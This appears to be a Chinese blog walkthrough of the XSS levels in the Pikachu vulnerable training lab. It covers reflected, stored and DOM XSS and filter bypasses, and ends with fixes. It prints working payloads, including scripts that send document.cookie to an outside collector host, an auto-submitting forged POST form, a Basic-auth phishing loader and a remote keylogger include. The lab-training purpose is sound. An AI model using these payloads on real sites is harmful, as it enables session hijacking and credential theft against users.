Pikachu靶场通关之XSS

1、XSS(跨站脚本)概述

此图像的alt属性为空;文件名为截屏2020-11-01-下午3.37.17-1024x384.png
此图像的alt属性为空;文件名为截屏2020-11-01-下午3.38.41-1024x708.png
此图像的alt属性为空;文件名为截屏2020-11-01-下午3.39.00-1024x561.png
此图像的alt属性为空;文件名为截屏2020-11-01-下午3.40.12-1024x766.png
此图像的alt属性为空;文件名为截屏2020-11-01-下午3.42.00-1024x582.png
此图像的alt属性为空;文件名为截屏2020-11-01-下午3.43.12-1024x596.png
此图像的alt属性为空;文件名为截屏2020-11-01-下午3.44.44-1024x551.png

2、XSS实验环境准备

此图像的alt属性为空;文件名为截屏2020-11-01-下午11.56.53-1024x762.png

3、反射型xss(get)

此图像的alt属性为空;文件名为截屏2020-11-01-下午11.58.28-1024x169.png
此图像的alt属性为空;文件名为截屏2020-11-01-下午11.58.43.png

我们先来尝试一下输入特殊字符,看看有什么作用,尝试一下。

此图像的alt属性为空;文件名为image.png

输入完成后,我们看到它把我们输入的字符都返回出来了。查看网页源代码,ctrl+F打开搜索快捷方式,查找666既可看到我们输入的结果,被放到了一个p标签中。这就意味着,我们输入一些正确的JavaScript代码,他也会原封不动的返回回来。

此图像的alt属性为空;文件名为image-1.png

这里我们可以尝试输入一个简单的payload,看看能不能执行。可是这个输入框有字数限制~

此图像的alt属性为空;文件名为image-2.png

F12查看一下源代码。在这里我们看到了,前端对这个输入框做了一个字符限制

我们把这个字符限制改掉~

接下来让我继续输入,然后提交

<script>alert('xss')</script>

在这里,我们就可以看到一个反射型XSS

看到源码后,我们输入的payload被嵌入到p标签里面,又因为他是一个正确的JavaScript的代码,所以被浏览器执行了,就有了弹框

下面我们来看看源代码~可以看出,如果输入的内容不是kobe,那么就会将我们输入的内容给输出出来~

get&post分析

4、存储型xss

这里我们看到一个留言板。随便输入看看~当我们刷新之后,这个留言还是会在里面。也就是说,我们提交的留言杯后台存储了下来。

下面我们来测试一下这个地方存不存在xss漏洞,我们输入一些特殊字符~

可以看到随便输入的字符被当作留言给显示出来了。

下面我们来看一下网页源代码.Ctrl+F快速找到我们输入的语句,也是被存储在p标签里面的,同样没有做过滤和转义

接下来我们就输入一个简单的payload进行测试

<script>alert('xss')</script>

我们点击提交。其实就是从前端把这一串字符,提交给后台,后台存下来之后,从新在页面上面刷新显示出来,然后就会被浏览器执行

这个存储型就是,我们切换一下页面,在切换回到这个页面还是有弹窗。因为刚刚我们的留言被存入数据库中,每次访问这个页面都会从数据库中加载出来这个留言,之后触发这个脚本的运行

接下来我们看一下对应的源码~

5、DOM型XSS(一)

DOM就是访问html的一个接口

这个例子是w3school里面的~

找到实例,打开使用 getElementById()

我们把js代码删去,只看html的代码~我们看到的是写了一个p标签和一个标题

下面我们把js代码贴上去在进行分析~这里主要一个函数function getValue,定义了一个变量x,这个变量的值是通过document.getElementById去获取id为myHeader的值。所以这里主要是DOM的一个操作方法。当获取到内容后,就把这个值给alert出来,当我们点击onclick标题的时候,就会调用function getValue,就是把这个值复制给x,然后执行就会弹出来弹窗。

这里我们点击一个试一试。点击“这是标题”,就会出现弹窗

这就是DOM,这一过程都是在前端完成的~

接下来让我们看看靶场上面的DOM-XSS如何操作

随意输入字符测试一下

接下来让我们看看网页源代码~意思是,当我们在这个标签中输入字符串,就会把这个字符串通过dom的方法拼接到a标签中,这个a标签会被写入到div的dom里面

输入点就在输入框这里,输出就是通过div输出了。而且输入输出过程中没有做任何转义等操作

我们来分析一个下面这个代码,中间的str就是我们输入的变量,我们要做的是通过构造一个闭合,来执行我们预期的代码。

原标签
<a href='"+str+"'>what do you see?</a>
构造payload
先删除变量
输入'#'就可以闭合href
写一个弹窗onclick="alert(111)"
输入>闭合a标签
这一段就是a标签<a href='#' onclick="alert(111)">
这个是结尾</a>
这一段不用管>'>what do you see?
<a href='#' onclick="alert(111)">'>what do you see?</a>
payload
#' onclick="alert(111)">

输入我们构造好的payload

当我们点击‘>what do you see?就会出现弹窗

这个就是DOM型XSS~

6、DOM型XSS(二)

接下来,看另外一个DOM型XSS

随便输入一个字符串,看一看

查看页面源代码,看一下

这里面定义了一个function domxss,使用了一个window.location.search的DOM方法,它可以获取浏览器里面的参数,会把URL里面传参的参数内容获取下来,然后进行URL解码然后用一个字符串test=进行分割,然后获取到对应的内容,实际上就是从框里面获取到输入的完整内容,然后把输入的内容赋值给xss这个变量,之后把这个xss写入到a标签里面

和上一个例子不同点在于:他的输入是从URL里面获取的。这个场景就和反射型XSS很像。

下面我们构造payload

#' onclick="alert(111)">

先点击’有些费尽心机想要忘记的事情,后来真的就忘掉了’再点击”>就让往事都随风,都随风吧’就会出现弹窗了~

这种情况也是DOM型XSS 区别就是从浏览器中获取输入的字符~

7、XSS漏洞测试

8、XSS后台搭建

9、XSS如何获取cookie

实验流程图

后台接收的接口这里,是一个get请求,看看有没有发key=cookie的参数,如果有就把cookie等信息存下来。这里还有一个重定向的功能。

下面我们就用GET型xss来演示

步骤同上3,具体不在描述

但在这里,因为我们要获取到cookie,所以我们使用一个复杂一些的payload。我们的目的是获取用户本地的cookie把它发送到我们的xss后台。下面的payload就是使用document.location这个实例来重定向,一旦访问这个页面,这个js就会访问这个URL的xss后台,然后访问的时候顺便把cookie给带过去,而cookie的获取则是通过document.cookie这个实例。这样就形成了一个完整的get请求。

<script>document.location = 'http://47.94.9.224:83/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

我们输入payload后,点击提交~

这时候我们去看看XSS后台,就有了记录~这就是最终的效果。

而当用户点击下面的URL,就会获取到cookie

http://47.94.9.224:83/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F47.94.9.224%3A83%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

10、反射型XSS(post)

admin
123456

我们先登录进来,随意输入任意字符~URL上面无显示,通过抓包也可以知道这个是POST请求

让我们先看一看流程图

POST表单的编写~当用户访问这个表单的时候,这个页面自动向存在漏洞的网站提交一个post请求。value的值就是恶意代码。window.onload就是一旦加载这个页面就会自动获取这个表单,点一个click模拟一个提交

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://47.94.9.224:83/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://47.94.9.224:83/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
 * 
<script>
document.write('<img src="http://47.94.9.224:83/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://47.94.9.224:83/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

我们把链接发给用户,让用户访问~

http://47.94.9.224:83/pkxss/xcookie/post.html

当我们访问后就会跳转到首页,并且xss后台获取到cookie

就是需要我们搭建一个post表单页面伪造提交~

11、XSS钓鱼攻击

我们用一个Basic认证做一个钓鱼。就是在有xss的站上嵌入一个js代码,然后执行

这里我们用存储型XSS的模板来进行测试

下面就用下面的payload进行演示

<img src="http://47.94.9.224:83/pkxss/xfish/fish.php" />
<script src="http://47.94.9.224:83/pkxss/xfish/fish.php"></script>

下面来看看fish.php的内容~直接根据请求获取用户名和密码这两个参数,如果没有的话,他会返回Basic认证的头部信息。最后有一个重定向,把收集到的账号密码发到XSS后台。

后台有一个接收的接口

下面让我们来测试~输入payload我们就可以看到一个弹窗。

输入完账号密码后,让我们返回后台就可以看到了钓鱼的结果。

12、XSS键盘记录获取

不同域的情况

跨域·同源策略

为什么需要同源策略

接下来我们还是用存储型xss做演示。

下面让我们看看后端的代码~其实就是写了一个后端的界面-其中有一个js文件就是一个攻击的代码-就是对我们的键盘进行获取,然后异步的发送到后台。event.keyCode这个就是获取键盘~

所以我们使用下面的payload

<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk"></script>

然后我们随便输入,打开f12可以看到发送了许多请求

13、XSS盲打

xss盲打是一种场景

我们先随便输入一些字符看看效果~

我们可以看到提交的内容 应该被传入后台,只有管理员可以看

当我们输入一段xsspayload,提交后,管理员那边可能会被弹窗,这种场景就叫xss盲打。

点击提示,我们进入后台看看刚才的效果~

登录进去

这里我们就可以看到后台被xss了~这种情况就是xss盲打,尝试性的进行xss。也是存储型~这里可以盲打一个获取cookie,危害就比较大了~

14、XSS绕过

XSS转换

XSS编码

下面就用平台来实际操作~

随便输入一下

下面让我们看看源码~我们可以看到我们输入的script标签被干掉了

我们尝试使用大小写进行绕过~

成功绕过~

我们看源码,这边匹配了正则~

15、XSS绕过之htmlspecialchars

PHP里面的htmlspecialchars方法-对特殊字符进行转义的函数

默认不会对单引号转义

还是按照之前的思路,输入字符进行尝试

看一看页面源代码~它对输入的值做了编码,但单引号没有,由此可以它使用的是默认的函数。

所以我们可以构造一个payload

前面的单引号是把之前的给闭合上
q'onclick='alert(111)'

点击提交后,我们可以onclick一下,于是出现了弹窗

我们可以看一下后端的代码~使用了htmlspecialchars函数,但使用了默认方法。

16、XSS常见防范措施

17、XSS之href输出

我们先看一下后端源码~他会接受前端输入的信息,然后如果输入不是百度就进行处理。

因为在a标签的href里面可以执行js语句,所以我们写payload

javascript:alert(111)

提交后,我们点击

href里面做输出的话应该怎么做处理?

只允许http或https开头的才能输出,否则不允许输入~

18、XSS之js输出

老规矩~测试一下-再看源码

这里把我们的输入放到js里面进行判断在进行输出~

我们输入tmac看一看

好吧,下面我们构造闭合和payload

<script>
    $ms='x'</script><script>alert('xss')</script>';
x'是闭合单引号
</script>是闭合上面的script
所以payload是
x'</script><script>alert('xss')</script>
这里讲输入动态的生成到了js中,形成xss
javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?
这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
所以在JS的输出点应该使用\对特殊字符进行转义

结束~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇